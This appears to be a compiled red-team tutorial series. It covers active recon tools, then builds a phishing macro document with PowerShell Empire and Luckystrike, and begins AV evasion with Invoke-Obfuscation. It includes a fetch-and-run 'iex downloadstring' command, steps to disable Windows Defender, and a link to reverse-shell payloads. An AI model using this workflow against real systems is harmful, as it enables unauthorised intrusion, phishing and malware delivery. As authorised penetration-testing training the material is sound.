### Active Recon Techniques <a href="#active-recon-techniques" id="active-recon-techniques"></a>

Active reconnaissance involves actively interacting or engaging with the target infrastructure in order to enumerate more information about our target domain or organization.

Unlike passive recon, active recon requires written permission and authorization from the target company as some of the techniques we will be utilizing can cause slow-downs, crashes and potential data loss.

#### DNS Zone Transfers <a href="#dns-zone-transfers" id="dns-zone-transfers"></a>

The first active recon technique we will be taking a look at involves performing a DNS zone transfer. DNS zone transfer, also sometimes known by the inducing DNS query type AXFR, is a type of DNS mechanism that is used by administrators to replicate DNS databases across a set of DNS servers.

We can leverage this functionality to obtain a copy of DNS records for our target domain if the DNS zone transfer mechanism is active.

If successful, we will obtain a complete copy of all DNS records associated with our target domain, including records that may have been obscured during our earlier checks.

**DNS Zone Transfer With DNSRecon**

We can perform a DNS zone transfer by running the following command with DNSRecon:

```
dnsrecon -d https://domain.com -t axfr
```

As highlighted in the following screenshot, if successful, you should receive a list of all DNS records, including internal DNS records.

<figure><img src="/files/fhvg8evYk8dHqh5sceSg" alt=""><figcaption></figcaption></figure>

This information can now be used during the initial exploitation and internal reconnaissance phase.

**DNS Zone Transfer With Fierce**

We can also perform a DNS zone transfer with the built-in fierce utility. First what Fierce is not. Fierce is not an IP scanner, it is not a DDoS tool, it is not designed to scan the whole Internet or perform any un-targeted attacks. It is meant specifically to locate likely targets both inside and outside a corporate network. Only those targets are listed (unless the `-nopattern` switch is used). No exploitation is performed (unless you do something intentionally malicious with the -connect switch). Fierce is a reconnaissance tool. Fierce is a PERL script that quickly scans domains (usually in just a few minutes, assuming no network lag) using several tactics.

We can perform a DNS zone transfer with fierce by running the following command:

```
fierce --domain domain.com
```

#### Subdomain Brute-force <a href="#subdomain-brute-force" id="subdomain-brute-force"></a>

In the previous section, we took a look at how to enumerate subdomains passively by utilizing search engines and public databases. We can also enumerate/discover subdomains by performing a brute-force attack with Knockpy.

**Subdomain Brute-force with Knockpy**

Knockpy is a python3 tool designed to enumerate subdomains on a target domain through dictionary attack.

A dictionary attack is a type of brute force attack that involves the cracking of a password-protected security system with a “dictionary list” of common words and phrases used by businesses and individuals.

Knockpy GitHub Repository: <https://github.com/guelfoweb/knock>

Knockpy can be installed on Kali Linux by running the following command:

```
sudo apt-get install knockpy -y
```

We can enumerate subdomains with Knockpy by running the following command:

```
knockpy DOMAIN.COM
```

<figure><img src="/files/niBQxxZGe1emGOQn72Uw" alt=""><figcaption></figcaption></figure>

As shown in the following screenshot, this will perform a wordlist brute-force in order to identify subdomains.

#### Port Scanning <a href="#port-scanning" id="port-scanning"></a>

Port scanning is the process of determining what ports on a target host or network are open and what service they are running. Port scanning can also be used to identify service vulnerabilities.

We have already been able to obtain various IP addresses that belong to the target company, we can use this list of active hosts and IP addresses to identify what ports are open and the services that are running.

The objective of port scanning is to identify the open ports and respective services running on the target host. It is also used to reveal the presence of security mechanisms such as a firewall.

There are various port scanning tools that can be used to scan for open ports and enumerate services, the following is a list of the most popular port scanners:

* Nmap: <https://nmap.org/>
* Masscan: <https://github.com/robertdavidgraham/masscan>

In this case, we will take a look at how to use Nmap to identify open ports on a target system.

**Port Scanning With Nmap**

Nmap comes pre-packaged with Kali Linux and can be used in multiple ways, in our case, we can utilize Nmap to scan our target for open ports.

**Nmap Stealth Scan**

```
sudo nmap -sS -A -T4 -p- <TARGET-IP> -oN output.txt
```

The preceding command will perform a SYN scan (stealth scan) on the target IP and will scan all TCP ports (65,535), detect the services running on the open ports and output all results to an output file.

A stealth (SYN) scan is relatively unobtrusive and stealthy, since it never completes TCP connections.

**Nmap Script Scan**

You can also utilize Nmap scripts to enumerate information and scan for vulnerabilities with Nmap by running the following command:

```
sudo nmap -sS -sV -p <TARGET-PORT> <TARGET-IP> --script=<SCRIPT-NAME>
```

```
Starting Nmap ( https://nmap.org )
Nmap scan report for flog (127.0.0.1)
PORT     STATE SERVICE
22/tcp   open  ssh
| ssh-hostkey: 1024 b1:36:0d:3f:50:dc:13:96:b2:6e:34:39:0d:9b:1a:38 (DSA)
|_2048 77:d0:20:1c:44:1f:87:a0:30:aa:85:cf:e8:ca:4c:11 (RSA)
111/tcp  open  rpcbind
| rpcinfo:
| 100000  2,3,4    111/udp  rpcbind
| 100024  1      56454/udp  status
|_100000  2,3,4    111/tcp  rpcbind
139/tcp  open  netbios-ssn

Host script results:
| smb-os-discovery: Unix
| LAN Manager: Samba 3.0.31-0.fc8
|_Name: WORKGROUP

Nmap done: 1 IP address (1 host up) scanned in 0.33 seconds
```

You can list out all available Nmap scripts by running the following command:

```
ls -alps /usr/share/nmap/scripts
```

To learn more about Nmap and how it can be used for penetration tests and red team operations, check out [HackerSploit’s Nmap series on YouTube](https://www.youtube.com/playlist?list=PLBf0hzazHTGM8V_3OEKhvCM9Xah3qDdIx)

#### Directory Brute-Force <a href="#directory-brute-force" id="directory-brute-force"></a>

Directory brute forcing is a common attack used against websites and web servers in order to find hidden and often forgotten directories on a site.

There are various directory brute-force tools that can be used to discover hidden files and directories on a website. The following is a list of the most popular directory brute-force tools:

* Gobuster: <https://github.com/OJ/gobuster>
* Dirb: <https://www.kali.org/tools/dirb/>
* Dirbuster: <https://github.com/KajanM/DirBuster>

In this case, we will be attacking a look at how to use Gobuster.

For our wordlist, we will be utilizing the SecLists wordlist collection that can be found here: <https://github.com/danielmiessler/SecLists>

**Directory Brute-Force With Gobuster**

Gobuster is a tool used to brute-force:

* URIs (directories and files) in web sites.
* DNS subdomains (with wildcard support).
* Virtual Host names on target web servers.
* Open Amazon S3 buckets

Gobuster can be installed on Kali Linux by running the following command:

```
sudo apt-get install gobuster
```

We can perform a directory brute-force attack on a website with Gobuster by running the following command:

```
sudo gobuster dir --url https://domain.com -w /PATH-TO-WORDLIST
```

```
root@kali:~# gobuster -e -u http://192.168.0.155/ -w /usr/share/wordlists/dirb/common.txt

Gobuster v1.2                OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://192.168.0.155/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirb/common.txt
[+] Status codes : 301,302,307,200,204
[+] Expanded     : true
=====================================================
http://192.168.0.155/blog (Status: 301)
http://192.168.0.155/index.html (Status: 200)
http://192.168.0.155/index (Status: 200)
http://192.168.0.155/photo (Status: 301)
http://192.168.0.155/wordpress (Status: 301)
=====================================================
```

This will begin the directory brute-force attack and will the hidden files and directories that were discovered.

#### Website Vulnerability Scanning <a href="#website-vulnerability-scanning" id="website-vulnerability-scanning"></a>

Website vulnerability scanning is the process of scanning a website in order to discover common web application vulnerabilities and server configuration issues.

**Website Vulnerability Scanning With Nikto**

Nikto is a free software command-line vulnerability scanner that scans web servers for dangerous files/CGIs, outdated server software and other problems. It performs generic and server type specific checks. It also captures and prints any cookies received.

You can scan a website/web server for vulnerabilities with Nikto by running the following command:

```
nikto -h https://domain.com
```

```
Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.0.102
+ Target Hostname:    192.168.0.102
+ Target Port:        80
+ Start Time:         2018-03-23 10:49:04 (GMT0)
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, inode: 287, size: 11832, mtime: Fri Feb  2 15:27:56 2018
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ "robots.txt" contains 1 entry which should be manually viewed.
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ 371 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time:           2018-03-23 10:50:44 (GMT0) (100 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
```

**CMS Vulnerability Scanning**

When attacking a target you may run into websites that use Content Management Systems (CMSs) like WordPress or Joomla.

We can utilize various tools to automate the process of detecting security flaws of the most popular CMSs. The following is a list of useful CMS vulnerability scanners:

* CMSMap: <https://github.com/Dionach/CMSmap>
* WPScan: <https://github.com/wpscanteam/wpscan>
* JoomScan: <https://github.com/OWASP/joomscan>

### Automated Recon Frameworks <a href="#automated-recon-frameworks" id="automated-recon-frameworks"></a>

Now that we have explored the process of performing both passive and active recon manually, let us take a look at how to automate the reconnaissance process.

Frameworks we will be using:

* Sn1per: <https://github.com/1N3/Sn1per>
* OWASP Amass: <https://github.com/OWASP/Amass>

#### Automated Recon With Sn1per <a href="#automated-recon-with-sn1per" id="automated-recon-with-sn1per"></a>

Sn1per is an open source reconnaissance and penetration testing framework used for information gathering and vulnerability scanning. The framework has a premium and a community version. The premium version has the exploitation features as well. The community version of Sn1per framework can be used to automate both passive and active reconnaissance.

Sn1per Wiki: <https://github.com/1N3/Sn1per/wiki>

**Installing Sn1per**

Sn1per can be installed on Kali Linux by following the procedures outlined below:

1. Download the Sn1per repository:

   ```
    git clone https://github.com/1N3/Sn1per
   ```
2. Navigate to the new Sn1per directory:

   ```
    cd Sn1per
   ```
3. Run Sn1per’s install script:

   ```
    bash install.sh
   ```

**Automating Passive Recon With Sn1per**

Sn1per allows us to specify the type of recon we would like to perform, we can perform passive reconnaissance by running the following command:

```
sniper -t <TARGET> -m stealth -o -re
```

This will automate all passive recon techniques and will output the results in to a report saved under: /usr/share/sniper/loot/workspace/DOMAIN

**Automating Active Recon With Sn1per**

We can perform active recon with Sn1per by running the following command:

```
sniper -t <TARGET>
```

This will automate all active recon techniques and will output the results in to a report saved under: /usr/share/sniper/loot/workspace/DOMAIN

**Sn1per Reports**

Sn1per generates HTM reports that can be viewed in your browser, reports can be accessed in the following directory: /usr/share/sniper/loot/workspace/DOMAIN

Clicking on a report will display the results in your browser, the screenshot below is an example of a recon report.

<figure><img src="/files/qEpgj2vTvc1h0ahOL3qe" alt=""><figcaption></figcaption></figure>

#### Automated Recon With OWASP Amass <a href="#automated-recon-with-owasp-amass" id="automated-recon-with-owasp-amass"></a>

The OWASP Amass Project performs network mapping of attack surfaces and external asset discovery using open source information gathering and active reconnaissance techniques.

Amass User Guide: <https://github.com/OWASP/Amass/blob/master/doc/user_guide.md>

**Installing Amass**

Amass can be installed on Kali Linux by running the following command:

```
sudo apt-get install amass
```

**Passive Subdomain Enumeration With Amass**

We can automate the process of enumerating subdomains with Amass by running the following command:

```
amass enum -d domain.com
```

<figure><img src="/files/kaVud1Ymvjehjlwq7w7v" alt=""><figcaption></figcaption></figure>

As highlighted in the following screenshot, Amass will output the list of subdomains and ASNs.

We can also enumerate the subdomain IP addresses and sources by running the following command:

```
amass enum -d domain.com -src -ip -dir /PATH-To-DIRECTORY/DOMAIN
```

The preceding command will also create an output directory and save all results in to the directory.

**Active Subdomain Enumeration With Amass**

We can also perform subdomain brute-forcing with Amass, this can be done by running the following command:

```
amass enum -d domain.com -src -ip -brute -dir DOMAIN
```

**Automating Passive Recon With Amass**

In addition to performing manual checks and scans, we can also automate passive recon with Amass by using the enum subcommand as shown in the following command:

```
amass enum -d domain.com -src -ip -dir DOMAIN
```

This command will perform passive reconnaissance on the target, resolve all IP addresses, display the sources and output results into the output directory specified.

**Automating Active Recon With Amass**

We can also automate active recon with Amass, this can be done by running the intel subcommand as shown in the following command:

```
amass intel -d domain.com -active -src -ip -dir DOMAIN
```

**Amass Reports**

Amass reports can be generated through the use of the viz subcommand. The viz subcommand allows you to create enlightening network graph visualizations that add structure to the information gathered. This subcommand only leverages the ‘output\_directory’ and remote graph database settings from the configuration file.

You can generate reports by specifying the viz subcommand and your preferred output format as highlighted in the following command:

```
amass viz -dir DOMAIN -d3
```

In this case, we are generating a report in a D3.js v4 force simulation HTML file, after the report has been generated, you can access it by navigating to the output directory specified in earlier commands and opening the file with your browser.

You should now be familiar with how to perform both active and passive reconnaissance for red team operations.

<figure><img src="/files/0gVv2B5uiEOqVOpA1XGI" alt=""><figcaption></figcaption></figure>


# Windows Red Team Exploitation Techniques

This tutorial is sourced from HackerSploit and sponsored by Linode.

{% hint style="info" %}
**Caution**

All labs and tests are to be conducted within the parameters outlined within the text. The use of other domains or IP addresses is prohibited.
{% endhint %}

### Before You Begin <a href="#before-you-begin" id="before-you-begin"></a>

In order to follow along with the tools and techniques utilized in this document, you will need to use one of the following offensive Linux distributions:

* Kali Linux
* Parrot OS

Additionally, you will also need a Windows VM in order to configure the malicious Office documents.

The following is a list of recommended technical prerequisites that you will need in order to get the most out of this course:

* Familiarity with Linux system administration.
* Familiarity with Windows.
* Functional knowledge of TCP/IP.
* Familiarity with penetration testing concepts and life-cycle.

Note: The techniques and tools utilized in this document were performed on Kali Linux 2021.2 Virtual Machine

### MITRE ATT\&CK Exploitation and Initial Access Techniques <a href="#mitre-attck-exploitation-and-initial-access-techniques" id="mitre-attck-exploitation-and-initial-access-techniques"></a>

Initial Access consists of techniques that use various entry vectors to gain their initial foothold within a network. Techniques used to gain a foothold include targeted spear phishing and exploiting weaknesses on public-facing web servers. Footholds gained through initial access may allow for continued access, like valid accounts and use of external remote services, or may be limited use due to changing passwords.

<figure><img src="/files/rvr16a6gLdkS0NKVMJgF" alt=""><figcaption></figcaption></figure>

The techniques outlined under the Initial Access tactic provide us with a clear and methodical way of obtaining an initial foothold on the target system, however, as you may have noticed, some techniques such as “Trusted Relationship” will require physical contact with employees and the target organization. In this case, given the nature of our engagement, we will only be focusing on digital initial access vectors such as phishing.

The following is a list of key techniques and sub techniques that we will be exploring:

* Phishing

In this case, we will be utilizing the Phishing technique to obtain an initial foothold on the target network.

#### What is Phishing? <a href="#what-is-phishing" id="what-is-phishing"></a>

Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered by social engineering. Phishing can be targeted, known as spear phishing. In spear phishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.

Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source.

### Attack Scenario <a href="#attack-scenario" id="attack-scenario"></a>

Our objective is to generate a malicious office document that contains a macro that will provide us with a reverse shell on the target system when executed.

The following diagram outlines our attack methodology and the various steps involved in the process.

<figure><img src="/files/8R3MavIA0XqEBypZl5W4" alt=""><figcaption></figcaption></figure>

The attack methodology can be broken down into the following procedures:

1. Setup C2 server with Powershell Empire - C2 (Command and control) servers are used by attackers and adversaries to maintain communications with compromised systems on the target network.
2. Generate stager with Powershell Empire - A stager is used to establish a communication channel between the attacker and the victim.
3. Inject the payload into a document as a macro with Luckystrike.
4. Send the document to the target system via email.
5. Target opens the document and consequently runs the malicious macro.
6. Stager connects back to the empire listener.

Now that you have an understanding of the attack methodology we will be using, you will need to set up our infrastructure that will facilitate each step of the attack methodology.

### Infrastructure <a href="#infrastructure" id="infrastructure"></a>

The following diagram illustrates the various operating systems we will use and their requirements.

<figure><img src="/files/fbBJBzVXwzA7EmQFdoAE" alt=""><figcaption></figcaption></figure>

#### Windows VM Configuration <a href="#windows-vm-configuration" id="windows-vm-configuration"></a>

In order to generate our malicious macro document, we will need a Windows VM with the following programs and configurations:

* Microsoft Office 2010 or newer installed
* Windows 7 or newer
* PowerShell 2.0+
* Windows Defender Enabled

#### C2 Server - Kali Linux <a href="#c2-server---kali-linux" id="c2-server---kali-linux"></a>

We will be setting up Powershell Empire as our C2 server on a Kali Linux VM for ease of use, alternatively, you can also set up Empire on a Linux server in the cloud.

Ensure that you use the latest version of Kali and ensure that you upgrade all packages to the latest version.

#### Target System <a href="#target-system" id="target-system"></a>

Given that we are utilizing Phishing as our initial access vector, the target much meets the following requirements in order for the attack to work as intended:

* Windows 7 or newer.
* Microsoft Office Installed

Now that you have an idea of our infrastructure, we can begin the process by taking a look at how to install and configure Empire.

### PowerShell Empire <a href="#powershell-empire" id="powershell-empire"></a>

Empire is a pure PowerShell post-exploitation framework built on cryptological-secure communications and flexible architecture. Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post-exploitation modules ranging from keyloggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework.

PowerShell Empire recently received an update and is now officially support and maintained by Kali Linux, more information regarding the update can be found here: <https://www.kali.org/blog/empire-starkiller/>

In addition to being updated and modernized, BC Security, the company responsible for maintaining the Empire has also developed a companion to Empire called Starkiller. Starkiller is a Frontend for the Powershell Empire. It is an Electron application written in VueJS and provides users with an intuitive way of interacting with Empire.

In order to get an understanding of how Empire works and the components that make up the framework, I would recommend going through the official documentation which can be found here: <https://www.powershellempire.com/?page_id=100>

Now that you have an idea of what Empire is and what it is used for, we can take a look at how it can be installed on Kali Linux.

#### Installing PowerShell Empire <a href="#installing-powershell-empire" id="installing-powershell-empire"></a>

PowerShell Empire and Starkiller can be installed on Kali Linux by following the procedures outlined below:

1. Update your repositories and packages, this can be done by running the following command:

   ```
    sudo apt-get update && sudo apt-get upgrade
   ```
2. The next step will involve installing PowerShell Empire and Starkiller, this can be done by running the following command:

   ```
    sudo apt-get install powershell-empire starkiller -y
   ```
3. After installing PowerShell Empire and Starkiller, you can start up the Empire server by running the following command:

   ```
    sudo powershell-empire server
   ```

   This will start up the server and will set up the Empire Restful API on port 1337 as shown in the screenshot below.
4. Once the Empire server is up and running, you can connect to the server through the Empire client by running the following command:

   ```
    sudo powershell-empire client
   ```

   <figure><img src="/files/YWrxUFeVub9oC6yHK5he" alt=""><figcaption></figcaption></figure>
5. You can also startup Starkiller UI by searching for it as illustrated in the following screenshot.

   <figure><img src="/files/lUWryg03jO92kOcjI2MW" alt=""><figcaption></figcaption></figure>
6. During the first launch, Starkiller will prompt you to authenticate with the Empire server. The default access credentials are `empireadmin`/`password123`

   Once logged in, you should see a similar interface to the one shown in the screenshot below.

   <figure><img src="/files/9QvgekpPQfYuM9fQSfpz" alt=""><figcaption></figcaption></figure>
7. Now that we have set up PowerShell Empire as our C2 server, we can take a look at how to set up Luckystrike on our Windows VM.

### Luckystrike <a href="#luckystrike" id="luckystrike"></a>

Luckystrike is a PowerShell-based macro generator for malicious `.xls` and `.doc` documents Luckystrike provides you several infection methods designed to get your payloads to execute without tripping AV.

GitHub Repository: <https://github.com/curi0usJack/luckystrike>

#### Luckystrike Requirements <a href="#luckystrike-requirements" id="luckystrike-requirements"></a>

* Make sure you are on a Win7-10 machine (32 or 64bit).
* You must be running a current version of PowerShell (v5+).
* You must have Microsoft Excel installed (2010+).
* Disable Windows Defender. You can learn more about disabling Windows Defender here: <https://www.windowscentral.com/how-permanently-disable-windows-defender-windows-10>

#### Installing Luckystrike <a href="#installing-luckystrike" id="installing-luckystrike"></a>

Follow the procedures outline below to install Luckystrike.

1. Launch a PowerShell prompt as administrator.
2. Configure PowerShell to allow the execution of PowerShell scripts, this can be done by running the following command in PowerShell with administrative privileges:

   ```
    Set-ExecutionPolicy Unrestricted
   ```
3. The next step is to download Luckystrike to your Desktop, this can be done by running the following PowerShell command on your Desktop:

   ```
    iex (new-object net.webclient).downloadstring('https://raw.githubusercontent.com/curi0usJack/luckystrike/master/install.ps1')
   ```

   This will download all the Luckystrike PowerShell scripts and files onto your Desktop.

   <figure><img src="/files/MTdYhI0wnF1mvXzcYQ0B" alt=""><figcaption></figcaption></figure>
4. The next step is to execute the luckystrike.ps1 script in a PowerShell prompt with administrative privileges. This can be done by running the following commands:

   ```
    cd .\luckystrike\
    .\luckystrike.ps1
   ```
5. You should be greeted with a screen similar to the one shown in the preceding screenshot. Enter `99` at the prompt to exit.

<figure><img src="/files/Ju69qZMqGBmVIdf6zMFk" alt=""><figcaption></figcaption></figure>

To learn more about how Luckystrike works, refer to the official Wiki: <https://github.com/curi0usJack/luckystrike/wiki>

Now that we have Luckystrike setup, we will need to set up our Empire listener and stager.

### Setting Up PowerShell Empire Listener and Stager <a href="#setting-up-powershell-empire-listener-and-stager" id="setting-up-powershell-empire-listener-and-stager"></a>

We will need to set up an Empire listener in order to receive the reverse connection from the target system, additionally, we will also need to generate a stager with Empire that will be used to generate our malicious macro document.

1. The first step is to set up a listener, in this case, we will set up an HTTP listener with Star killer, this can be done by navigating to the listener page and clicking on “create”.\
   ![](/files/gVyLw0ElAtuBKZTLA1Fa)![](/files/tcqUoSw2I28lXDJClU7V)
2. You will now need to specify the listener options, ensure that you specify your Kali IP in the host field as shown in the screenshot below.<br>

   <figure><img src="/files/zaQJmXCRfcMFjXEzHkMi" alt=""><figcaption></figcaption></figure>
3. After setting up the listener, we will need to setup the stager, however, before we do that we will need to start the csharp server that will be used to compile the stager. This can be done by expanding the sidebar and clicking on plugins. After which you will need to click on the csharp plugin and start it as shown in the screenshot below.\
   ![](/files/Jet6f6xumf7ctynIDrTv)

   <figure><img src="/files/n2KD9wquLwSbh3xw3Skm" alt=""><figcaption></figcaption></figure>
4. The next step will be to set up our stager, this can be done by expanding the sidebar and clicking on the stagers menu item. After which, you will need to specify the windows/csharp\_exe stager as highlighted in the screenshot below.

   &#x20;

   <figure><img src="/files/LESYZbF7nvtgAbxKFuZB" alt=""><figcaption></figcaption></figure>
5. Ensure that you specify the listener we created in the Listener field. Additionally, you can also customize the OutFile field for the executable.
6. After creating the stager, you can download it by clicking on the menu button on the stager as highlighted in the screenshot below.

   After downloading the stager, you will need to transfer it to the Windows VM so that we can utilize it in the generation of our malicious document with Luckystrike.\
   ![](/files/POk7mT18VNQP8CdrkB2i)

### Generating Malicious Document with Luckystrike <a href="#generating-malicious-document-with-luckystrike" id="generating-malicious-document-with-luckystrike"></a>

After transferring over the stager from the Kali VM to the Windows VM, we can begin the process of generating the malicious macro document with Luckystrike.

1. The first step involves running the luckystrike.ps1 script in a PowerShell prompt with administrative privileges. This can be done by running the following commands:

   ```
    cd .\luckystrike\
    .\luckystrike.ps1
   ```

2. The next step is to add a payload to the catalog, this can be done by selecting option 2 as highlighted in the following screenshot.\
   ![](/files/6e049qDtz1Y4Ep9sCqOx)

3. We will now need to add a payload to the catalog, this can be done by selecting option 1 as highlighted in the following screenshot.\
   ![](/files/7hRRRl8AoiKR2HpTpTli)

4. You will now need to specify a name for the payload and provide any relevant information pertinent to the payload as highlighted in the following screenshot.\
   ![](/files/HXVXZbqELegFcWCLmwS6)

5. The next step is to choose a payload type, in our case, our stager is an executable so we will select option 3 as highlighted in the following screenshot.\
   ![](/files/hk7LnvtN4m5ZCwUAnrZo)

6. You will now need to specify the path to the Empire stager we created as highlighted in the following screenshot.\
   ![](/files/WfXS00eLqOQExrUAcqGl)

7. The payload should now be added to the Luckystrike catalog, you will now need to select the payload. This can be done by navigating back to the Luckystrike main menu and selecting option 1 as highlighted in the following screenshot.\
   ![](/files/NLDMpt4iH2SeklE47hXs)

8. You can select the payload we created earlier by clicking on the “Select a payload” menu option and selecting the “Empire stager” payload we added to the catalog as highlighted in the following screenshot.\
   ![](/files/ud5sULjbsQfYtPt0qe9B)

9. You will now be prompted to specify an infection method, in this case, we will be utilizing the “Certutil” method as highlighted in the following screenshot.

   The certutil infection method will utilize the inbuilt Windows utility “certutil” to download the payload on to the target system.

   The infection methods refer to the various techniques that can be utilized to download the payload on to the target system.\
   ![](/files/OWmU9MzwBaQg4jvjWrHJ)

10. We can now generate the malicious document by navigating back to the Luckystrike main menu and selecting the “File Options” menu option as highlighted in the following screenshot.\
    ![](/files/HJOQVmaMjrfw0McY2Mnd)

11. The next step will involve generating a new file, this can be done by selecting the “Generate new file” menu option as highlighted in the following screenshot.\
    ![](/files/PCm2rNXDd4a2q0AuXcLf)

12. Your malicious macro document will be saved in the Luckystrike directory under the payloads folder, the next step will involve sending over the file to the target via a phishing email.

    Once the target opens the document and runs the malicious macro, we should receive an agent on the Empire server and client as well as Starkiller.

<figure><img src="/files/xKwpFQY4iBd5yKeUDn4O" alt=""><figcaption></figcaption></figure>

Now that we have obtained an initial foothold on the target system, we can begin exploring the process of setting up persistence.

<br>


# Windows Red Team Defense Evasion Techniques

This tutorial is sourced from HackerSploit and sponsored by Linode.

{% hint style="info" %}
**Caution**

All labs and tests are to be conducted within the parameters outlined within the text. The use of other domains or IP addresses is prohibited.
{% endhint %}

### Before You Begin <a href="#before-you-begin" id="before-you-begin"></a>

In order to follow along with the tools and techniques utilized in this document, you will need to use one of the following offensive Linux distributions:

* Kali Linux
* Parrot OS

The following is a list of recommended technical prerequisites that you will need in order to get the most out of this course:

* Familiarity with Linux system administration.
* Familiarity with Windows.
* Functional knowledge of TCP/IP.
* Familiarity with penetration testing concepts and life-cycle.

Note: The techniques and tools utilized in this document were performed on Kali Linux 2021.2 Virtual Machine

### MITRE ATT\&CK Defense Evasion Techniques <a href="#mitre-attck-defense-evasion-techniques" id="mitre-attck-defense-evasion-techniques"></a>

Defense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics and techniques are cross-listed here when those techniques include the added benefit of subverting defenses.<br>

<figure><img src="/files/qczDl6V34KEMdzZNWj1l" alt=""><figcaption></figcaption></figure>

The techniques outlined under the Defense Evasion tactic provide us with a clear and methodical way of evading detection on a target system.

The following is a list of key techniques and sub techniques that we will be exploring:

* Obfuscation
* Portable Executable Injection

### Scenario <a href="#scenario" id="scenario"></a>

Our objective is to generate payloads that are undetectable by AV solutions on the target system.

### AV Detection Methods <a href="#av-detection-methods" id="av-detection-methods"></a>

AV software will typically utilize signature, heuristic, and behaviour based detection.

1. Signature based detection - An AV signature is a unique hash that uniquely identifies malware. As a result, you will have to ensure that your obfuscated exploit or payload doesn’t match any known signature in the AV database.

   We can bypass signature-based detection by modifying the malware’s byte sequence, therefore changing the signature.
2. Heuristic-based detection - Relies on rules or decisions to determine whether a binary is malicious. It also looks for specific patterns within the code or program calls.
3. Behavior based detection - Relies on identifying malware by monitoring it’s behavior. (Used for newer strains of malware)

### AV Evasion Methods <a href="#av-evasion-methods" id="av-evasion-methods"></a>

#### On-disk Evasion Techniques <a href="#on-disk-evasion-techniques" id="on-disk-evasion-techniques"></a>

* Obfuscation - Obfuscation refers to the process of concealing something important, valuable, or critical. Obfuscation reorganizes code in order to make it harder to analyze or Reverse Engineer (RE).
* Encoding - Encoding data is a process involving changing data into a new format using a scheme. Encoding is a reversible process; data can be encoded to a new format and decoded to its original format.
* Packing - Generate executable with new binary structure with a smaller size and therefore provides the payload with a new signature.
* Crypters - Encrypts code or payloads and decrypts the encrypted code in memory. The decryption key/function is usually stored in a stub.

#### In-Memory Evasion Techniques <a href="#in-memory-evasion-techniques" id="in-memory-evasion-techniques"></a>

* Focuses on manipulation of memory and does not write files to disk.
* Injects payload into a process by leveraging various Windows APIs.
* Payload is then executed in memory in a separate thread.

### Tools <a href="#tools" id="tools"></a>

* Invoke-Obfuscation
* Shellter

### Defense Evasion With Invoke-Obfuscation <a href="#defense-evasion-with-invoke-obfuscation" id="defense-evasion-with-invoke-obfuscation"></a>

Invoke-Obfuscation is a PowerShell v2.0+ compatible PowerShell command and script obfuscator ( [GitHub repository](https://github.com/danielbohannon/Invoke-Obfuscation)).

We can use Invoke-Obfuscation to obfuscate/encode our malicious PowerShell scripts. PowerShell scripts are more likely to evade AV detection as the code is being executed in an interpreter and it is difficult to detect whether the code is malicious in nature.

Note: The target used should be able to execute PowerShell scripts, otherwise, we will not be able to execute the obfuscated/encoded PowerShell scripts.

#### Setting Up Invoke-Obfuscation On Kali <a href="#setting-up-invoke-obfuscation-on-kali" id="setting-up-invoke-obfuscation-on-kali"></a>

Invoke-Obfuscation is a PowerShell tool, as a result, we will require a Windows system with PowerShell in order to use it, however, we can also run PowerShell scripts on Kali Linux by installing the Powershell package.

1. The first step in this process involves installing Powershell on Kali Linux, this can be done by running the following command:

   ```
    sudo apt-get install powershell -y
   ```
2. After installing Powershell, you can start up a PowerShell session by running the following command on Kali:

   ```
    pwsh
   ```

   This should present you with a standard PowerShell prompt that we can use to run powershell commands and scripts as shown in the following screenshot.<br>

   <figure><img src="/files/AKqRTaNRIwjtvs3dERPJ" alt=""><figcaption></figcaption></figure>
3. We can now clone the Invoke-Obfuscation GitHub repository that contains the Invoke-Obfuscation PowerShell scripts, this can be done by running the following command:

   ```
    git clone https://github.com/danielbohannon/Invoke-Obfuscation.git
   ```
4. In order to launch the Invoke-Obfuscation script, we will need to launch a PowerShell prompt and navigate to the cloned directory, after which, you can execute the Invoke-Obfuscate PowerShell script by running the following command:

   ```
    .\Invoke-Obfuscation.ps1
   ```

   If you followed the previous procedures correctly, the Invoke-Obfuscation script will execute and you should be presented with a screen as shown in the screenshot below.<br>

   <figure><img src="/files/MB0FRR4qKlYiVoRD4pTG" alt=""><figcaption></figcaption></figure>

#### Encoding PowerShell Script With Invoke-Obfuscation <a href="#encoding-powershell-script-with-invoke-obfuscation" id="encoding-powershell-script-with-invoke-obfuscation"></a>

Now that we have setup PowerShell on Kali Linux and have configured the Invoke-Obfuscation script, we can take a look at how to encode a PowerShell script.

1. The first step will involve creating/developing your malicious PowerShell script and saving it in an accessible directory. In this case, we will be using a reverse shell PowerShell script that can be found here: <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#powershell><br>

   <figure><img src="/files/qhiQ6fH3dNGU3Btqru5Q" alt=""><figcaption></figcaption></figure>
